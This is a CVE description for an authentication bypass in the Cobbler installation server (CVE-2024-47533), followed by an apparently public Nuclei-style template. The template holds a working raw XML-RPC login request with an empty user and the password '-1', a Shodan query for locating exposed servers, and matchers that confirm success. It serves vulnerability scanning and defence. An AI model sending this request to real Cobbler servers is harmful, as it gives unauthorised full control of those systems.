Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. `utils.get_shared_secret()` always returns `-1`, which allows anyone to connect to cobbler XML-RPC as user `''` password `-1` and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.
PoC代码[已公开]
id: CVE-2024-47533
info:
name: Cobbler 'XML-RPC' - Authentication Bypass
author: songyaeji
severity: critical
description: |
Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. `utils.get_shared_secret()` always returns `-1`, which allows anyone to connect to cobbler XML-RPC as user `''` password `-1` and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.
reference:
- https://github.com/cobbler/cobbler/commit/32c5cada013dc8daa7320a8eda9932c2814742b0
- https://github.com/cobbler/cobbler/commit/e19717623c10b29e7466ed4ab23515a94beb2dda
- https://github.com/cobbler/cobbler/security/advisories/GHSA-m26c-fcgh-cp6h
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-47533
cwe-id: CWE-287
epss-score: 0.55356
epss-percentile: 0.97994
metadata:
verified: true
max-request: 1
shodan-query: http.title:"Cobbler Web Interface"
tags: cve,cve2024,cobbler,auth-bypass,unauth,xmlrpc
http:
- raw:
- |
POST /cobbler_api HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml
<?xml version='1.0'?>
<methodCall>
<methodName>login</methodName>
<params>
<param>
<value><string></string></value>
</param>
<param>
<value><string>-1</string></value>
</param>
</params>
</methodCall>
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<methodResponse>"
- "</string></value>"
condition: and
- type: word
part: content_type
words:
- "text/xml"
- type: status
status:
- 200
- type: word
part: body
words:
- "<boolean>0</boolean>"
negative: true
# digest: 4b0a0048304602210093f68c230129eb3d2b131356ec214b3fc594c3de8eaaffc096e8b457f25f3ee1022100a06bcc94063a53d311b4851a2bb7fe04582ead7b4f622a0ca8efc892f8e2b353:922c64590222798bb761d5b6d8e72950